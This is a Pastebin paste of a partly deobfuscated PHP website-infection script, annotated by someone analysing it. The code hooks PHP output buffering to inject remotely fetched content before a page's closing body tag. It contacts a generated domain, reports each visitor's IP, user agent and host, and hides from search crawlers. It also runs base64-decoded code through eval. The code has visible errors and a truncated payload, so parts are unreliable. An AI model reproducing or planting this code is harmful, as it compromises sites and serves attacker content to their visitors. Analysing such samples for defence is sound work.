Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- googlefu came up with this:
- <?php
- /* Decoded by unphp.net */
- $eva1fY2bak1cz0ir = "function_exists";
- $eva1fY2bal1cz0ir = "ob_start";
- $eva1fY2bal1cz8ir = "codex22";
- if (function_exists("ob_start") && !isset($GLOBALS["codex22"])) {
- $GLOBALS["codex22"] = 1;
- if (!function_exists("eva1fY2bak1cV2ir")) {
- if (!function_exists("main_code")) {
- function main_code() {
- //echo start
- if (!isset($GLOBALS["aghex0"])) {
- $GLOBALS["aghex0"] = 1;
- $url_contents = "";
- if (!isset($code_block)) {
- // preg_replace($code_array[2], $code_array[1], strrev($code_array[0]));
- // preg_replace("@(.+)@ie", "eval("");", "@eval(base64_decode($code_block_parts[1]));");
- // eval(base64_decode($code_block_parts[1])
- // Original variable names
- $code_block = "7kyJ7kSKi..."; // Truncated
- $eva1fYlbakBcVSir = $code_block;
- $eva1tYlbakBcVSir = "edolpxe";
- $eva1tYldakBcVSir = "strrev";
- $eva1tYldakBoVS1r = "ecalper_gerp";
- $eva1tYidokBoVSjr = ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("");:@(.+)@ie";
- $eva1tYldokBcVSjr = strrev($eva1tYldakBoVS1r); // preg_replace
- $eva1tYldakBcVSjr = strrev($eva1tYlbakBcVSir); // explode()
- $eva1tYidakBcVSjr = explode('+', $code_block);
- $code_block_parts = $eva1tYidakBcVSjr;
- $eva1tYXdakAcVSjr = $code_block_parts[0];
- $code_array = $eva1tYidokBcVSjr = array(
- ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@",
- "eval("");",
- "@(.+)@ie"
- );
- if (!isset($evalUdCXTDQERmWnDS)) {
- function custom_strrev($s) {
- $e = "";
- for ($a = 0; $a <= strlen($s) - 1; $a++) {
- $e. = $s {
- strlen($s) - $a - 1
- };
- }
- return ($e);
- }
- $evallwhVfIVnWPbT = 'custom_strrev';
- $evalMNhPOlTagIOfBSF = 'base64_decode';
- $evalamSEiYUdCgdSW = "stats";
- $evalTWeirVaqVW = "http";
- $evalBdUbtGUDXfB = 'in';
- $evalQwblCenFzUe = '!go!';
- $evalrMsivpMgcfC = $_SERVER['HTTP_USER_AGENT'];
- // eval(base64_decode(strrev($eva1tYXdakAcVSjr)));
- $fif25 = "@(.+)@i";
- $fif52 = 'eval("\1");';
- $fit52 = '@eval(base64_decode("';
- $retarn='preg_replace';
- $retun='create_function';
- $retrun='retrun';
- function retrun($return) {
- $funciton = create_function("&$"."function","$"."function = chr(ord($"."function)-3);");
- $return = str_split($return);
- array_walk($return, $funciton);
- return base64_decode(implode("",$return));
- }
- // Renamed to get_domain()
- // function dd0(){
- // $tsst52 = create_function('$return', 'return "web-".substr($return,0,3);');
- // $tsst5 = create_function('$return', 'return md5($return);');
- // $tsst51 = create_function('', 'return mt_rand(1-1,1+1);');
- // $tsst512 = create_function('$create_function', 'return gethostbyname($create_function.".c"."a");');
- // return $tsst5($tsst512($tsst52($tsst5($tsst51())))).".com";
- // }
- function get_domain(){
- $rand_md5 = md5(mt_rand(0, 2));
- $web = "web-".substr($rand_md5,0,3);
- $host_lookup = gethostbyname($create_function.".c"."a");
- return md5($host_lookup);
- }
- $user_agents = array(
- "Google",
- "Slurp",
- "MSNBot",
- "ia_archiver",
- "Yandex",
- "Rambler"
- );
- $evalTtDntGsohDPt = $user_agents; // Original variable name
- eval(base64_decode("ZnVuY3Rpb24gZXZhbFdFTUJJa3FZT0lJR2NMQm4oJHMpIHtyZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzKTt9"));
- $evalgKgHOXrDzX = get_domain(); // f528764d624db129b32c21fbca0cb8d6.com
- if((preg_match("/".implode("|", $user_agents)."/i", $_SEVER['HTTP_USER_AGENT'])) or( isset($_COOKIE['stats']))) {
- ;
- } else { @setcookie('stats', md5('status')), time() + 10800);
- // URL Like:
- $url_contents = evalWEMBIkqYOIIGcLBn("http://". get_domain() .'/Din.php?i='.$_SERVER['REMOTE_ADDR'].'&b='.urlencode($_SEVER['HTTP_USER_AGENT']).'&h='.urlencode($_SERVER['HTTP_HOST']));
- if (strstr($url_contents, '!go!')) {
- $url_contents = explode('!go!', $url_contents);
- $url_contents = $url_contents[1];
- }
- }
- $evalUdCXTDQERmWnDS = 18792;
- }
- $eva1tYldakBcVSir = "";
- $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
- $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
- $eva1tYldakBcVSir = "strecrptr";
- $eva1tYlbakBcVSir = "gao[pxe";
- $eva1tYldakBoVS1r = "ecrp";
- $eva1tYldakBcVSir = "";
- $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
- $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
- }
- }
- return $url_contents;
- }
- }
- if (!$function_exists("gzdecode")) {
- function gzdecode($input_string) {
- // Original variable names
- $eva1fY2bal1cz8i4 = "strpos";
- $eva1fY2bol1cz8i5 = "substr";
- $eva1fY2bo11cz8i5 = "unpack";
- $eva1fY2bo1lcz8i5 = "chr";
- $eva1fY2bo1lzc8i5 = "gzinflate";
- $eva1fY2bo01zo317 = @ord(@substr($input_string, 3, 1));
- $eva1fY2bo01c0317 = 10;
- if ($eva1fY2bo01zo317 & 4) {
- $eva1fY2bo01z0317 = @unpack('v', substr($input_string, 10, 2));
- $eva1fY2bo01z0317 = $eva1fY2bo01z0317[1];
- $eva1fY2bo01c0317 += 2 + $eva1fY2bo01z0317;
- }
- if ($eva1fY2bo01zo317 & 8) {
- $eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1;
- }
- if ($eva1fY2bo01zo317 & 16) {
- $eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1;
- }
- if ($eva1fY2bo01zo317 & 2) {
- $eva1fY2bo01c0317 += 2;
- }
- $output = @gzinflate(@substr($input_string, $eva1fY2bo01c0317));
- if ($output === FALSE) {
- $output = $input_string;
- }
- return $output;
- }
- }
- function initial_entry($input_string) {
- // Original variable names
- $eva1fY2b01lzc8l5 = "preg_replace";
- $eva1fY2b0llzc8l5 = "preg_match";
- $eva1fY2b022zc8l5 = "Header";
- $eva1fY2b022zo8l5 = "gzdecode";
- $eva1fY2b052zo8l5 = "Content-Encoding: none";
- $eva1fY2b052zo8l1 = "/\<\/body/si";
- $eva1fY2b062zo8l1 = "/(\<\/body[^\>]*\>)/si";
- $eva1fY2b061zo8l1 = "/\<\/html/si";
- $eva1fY2bo61zo8l1 = "/(\<\/html[^\>]*\>)/si";
- header("Content-Encoding: none");
- $decoded = gzdecode($input_string);
- if (preg_match("/\<\/body/si", $decoded)) {
- return preg_replace("/(\<\/body[^\>]*\>)/si", main_code()."
- "."$1", $decoded, 1);
- } else {
- if (preg_match("/\<\/html/si", $decoded)) {
- return preg_replace("/(\<\/html[^\>]*\>)/si", main_code()."
- "."$1", $decoded, 1);
- } else {
- return $decoded;
- }
- }
- }
- $eva1fY2bo61zo817 = "ob_start";
- ob_start("initial_entry");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement